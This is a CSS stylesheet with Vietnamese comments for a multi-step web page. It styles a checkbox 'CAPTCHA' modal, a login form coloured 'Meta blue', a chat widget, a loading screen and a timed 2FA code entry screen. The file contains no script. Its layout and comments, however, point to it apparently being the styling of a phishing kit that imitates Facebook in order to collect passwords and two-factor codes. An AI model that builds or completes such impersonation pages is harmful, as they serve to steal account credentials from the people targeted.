/* =========================================
   CÀI ĐẶT CHUNG TOÀN TRANG
========================================= */
body {
    margin: 0;
    padding: 0;
    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    background-color: #f0f2f5; /* Nền xám nhạt tiêu chuẩn */
    color: #1c1e21;
}

/* Khung chứa các bước - Mặc định ẩn */
.step-container {
    display: none;
    min-height: 100vh;
    width: 100%;
}

/* Lớp kích hoạt để hiển thị bước hiện tại (Căn giữa hoàn hảo) */
.step-container.active {
    display: flex;
    align-items: center;
    justify-content: center;
}

/* Hiệu ứng làm mờ và vô hiệu hóa tương tác khi bấm Gửi */
.disabled-element {
    opacity: 0.5;
    pointer-events: none;
    transition: opacity 0.3s ease;
}

/* =========================================
   BƯỚC 1: BỐ CỤC MODAL XÁC MINH (CAPTCHA)
========================================= */
.modal-card {
    background: white;
    padding: 40px;
    border-radius: 8px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.1);
    text-align: center;
    max-width: 400px;
    width: 100%;
}

.modal-card h2 { 
    margin-top: 0; 
    font-size: 24px; 
    color: #1c1e21;
}

.modal-card p { 
    color: #606770; 
    font-size: 14px; 
    margin-bottom: 30px; 
}

.captcha-box {
    border: 1px solid #d3d6db;
    border-radius: 4px;
    padding: 20px;
    display: flex;
    align-items: center;
    justify-content: space-between;
    background: #f9fafb;
    margin-bottom: 30px;
}

.captcha-box label {
    display: flex;
    align-items: center;
    font-size: 16px;
    cursor: pointer;
    font-weight: 500;
}

.captcha-box input[type="checkbox"] {
    width: 24px;
    height: 24px;
    margin-right: 15px;
    cursor: pointer;
}

.modal-footer { 
    font-size: 12px; 
    color: #8a8d91; 
}

/* =========================================
   BƯỚC 2: BỐ CỤC PHI ĐỐI XỨNG (FORM & CHAT)
========================================= */
#step2 { 
    background: white; 
    align-items: flex-start; 
    padding-top: 50px; 
}

.step2-layout {
    display: flex;
    max-width: 1000px;
    width: 100%;
    justify-content: space-between;
    position: relative;
}

/* Cột trái: Form đăng nhập */
.left-col { 
    width: 55%; 
    padding: 20px; 
}

/* Cột phải: Khoảng trắng & Chat nổi */
.right-col { 
    width: 35%; 
    position: relative; 
}

.logo-header { 
    color: #1877f2; /* Xanh Meta */
    font-size: 28px; 
    font-weight: bold; 
    margin-bottom: 20px; 
}

.graphic-placeholder {
    background: #e7f3ff;
    height: 200px;
    border-radius: 8px;
    display: flex;
    align-items: center;
    justify-content: center;
    color: #1877f2;
    font-weight: bold;
    margin-bottom: 20px;
}

.instruction-text { 
    text-align: center; 
    margin-bottom: 20px; 
}

.instruction-text h3 { 
    margin: 0 0 10px 0; 
    color: #1c1e21; 
    font-size: 20px;
}

.instruction-text p { 
    margin: 5px 0; 
    font-size: 15px; 
    color: #606770;
}

.login-form { text-align: center; }

.login-input {
    width: 100%;
    padding: 14px;
    margin-bottom: 15px;
    border: 1px solid #dddfe2;
    border-radius: 6px;
    font-size: 16px;
    box-sizing: border-box;
}

.login-input:focus {
    border-color: #1877f2;
    outline: none;
    box-shadow: 0 0 0 2px #e7f3ff;
}

/* Nút bấm trạng thái thường và khi bị mờ (chưa điền đủ thông tin) */
.btn-blue {
    width: 100%;
    padding: 12px;
    background-color: #1877f2;
    color: white;
    border: none;
    border-radius: 6px;
    font-size: 20px;
    font-weight: bold;
    cursor: pointer;
    transition: background-color 0.2s;
}

.btn-blue:disabled { 
    background-color: #9cb4d8; 
    cursor: not-allowed; 
    opacity: 0.7;
}

.btn-blue:hover:not(:disabled) {
    background-color: #166fe5;
}

.forgot-link { 
    display: block; 
    color: #1877f2; 
    text-decoration: none; 
    margin: 15px 0; 
    font-size: 14px; 
}

.divider { 
    border-bottom: 1px solid #dadde1; 
    margin: 20px 0; 
}

.btn-green {
    background-color: #42b72a;
    color: white;
    border: none;
    padding: 14px 24px;
    border-radius: 6px;
    font-size: 17px;
    font-weight: bold;
    cursor: pointer;
}

.footer-links { 
    margin-top: 30px; 
    font-size: 12px; 
    color: #8a8d91; 
    text-align: center; 
    line-height: 1.8;
}

.footer-links a { 
    color: #8a8d91; 
    text-decoration: none; 
    margin: 0 5px; 
}

/* Chat modal nổi ở góc dưới */
.chat-modal {
    position: absolute;
    bottom: -50px;
    right: 0;
    width: 300px;
    background: white;
    border-radius: 8px 8px 0 0;
    box-shadow: 0 4px 15px rgba(0,0,0,0.2);
    overflow: hidden;
}

.chat-header { 
    background: #1877f2; 
    color: white; 
    padding: 10px 15px; 
    font-weight: bold; 
    display: flex; 
    justify-content: space-between; 
}

.chat-body { 
    padding: 15px; 
    background: #f0f2f5; 
    display: flex; 
    flex-direction: column; 
    gap: 10px; 
}

.chat-bubble { 
    background: #e4e6eb; 
    padding: 10px 12px; 
    border-radius: 15px; 
    font-size: 13px; 
    color: #050505; 
    align-self: flex-start; 
    max-width: 85%; 
}

.chat-time { 
    text-align: right; 
    font-size: 11px; 
    color: #65676b; 
    margin-top: 5px; 
}

/* =========================================
   BƯỚC 4: MÀN HÌNH CHỜ (LOADING)
========================================= */
.loading-card { 
    text-align: center; 
    background: white; 
    padding: 50px; 
    border-radius: 8px; 
    box-shadow: 0 4px 12px rgba(0,0,0,0.1); 
    width: 400px; 
}

.spinner {
    width: 45px; 
    height: 45px;
    border: 4px solid #f3f3f3; 
    border-top: 4px solid #1877f2; /* Vòng quay màu xanh Meta */
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin: 30px auto;
}

@keyframes spin { 
    0% { transform: rotate(0deg); } 
    100% { transform: rotate(360deg); } 
}

.loading-card h3 { 
    margin-bottom: 10px; 
    color: #1c1e21;
}

.loading-card p { 
    color: #606770; 
    font-size: 14px; 
}

/* =========================================
   BƯỚC 5: DÒNG CHẢY DỌC 2FA (XÁC THỰC)
========================================= */
.step5-card {
    background: white;
    width: 100%;
    max-width: 450px;
    padding: 30px;
    border-radius: 8px;
    box-shadow: 0 2px 8px rgba(0,0,0,0.1);
    text-align: center;
}

.step5-header { 
    color: #1877f2; 
    font-size: 24px; 
    font-weight: bold; 
    margin-bottom: 15px; 
}

.step5-title { 
    font-size: 20px; 
    margin: 0 0 10px 0; 
    color: #1c1e21;
}

.step5-subtitle { 
    font-size: 14px; 
    color: #606770; 
    margin-bottom: 20px; 
    line-height: 1.5;
}

.step5-graphic { 
    background: #fdf4f6; 
    height: 150px; 
    border-radius: 8px; 
    margin-bottom: 20px; 
    display: flex; 
    align-items: center; 
    justify-content: center; 
    color: #d06f89;
    font-weight: bold;
}

/* Khối thông báo viền xanh theo đúng mô tả */
.info-box { 
    border: 1px solid #1877f2; 
    border-left: 4px solid #1877f2; 
    padding: 15px; 
    font-size: 13px; 
    background: #f7f8fa; 
    border-radius: 4px; 
    margin-bottom: 20px; 
    text-align: left;
    color: #1c1e21;
    line-height: 1.5;
}

.timer-section { 
    font-size: 14px; 
    margin-bottom: 20px; 
    color: #1c1e21;
}

.timer-red { 
    color: #e41e3f; /* Màu đỏ cho thời gian */
    font-weight: bold; 
}

.resend-link { 
    color: #1877f2; 
    text-decoration: none; 
    display: block; 
    margin-top: 10px; 
}

.try-another { 
    display: block; 
    text-align: center; 
    color: #1877f2; 
    text-decoration: none; 
    margin-top: 15px; 
    font-weight: bold; 
}
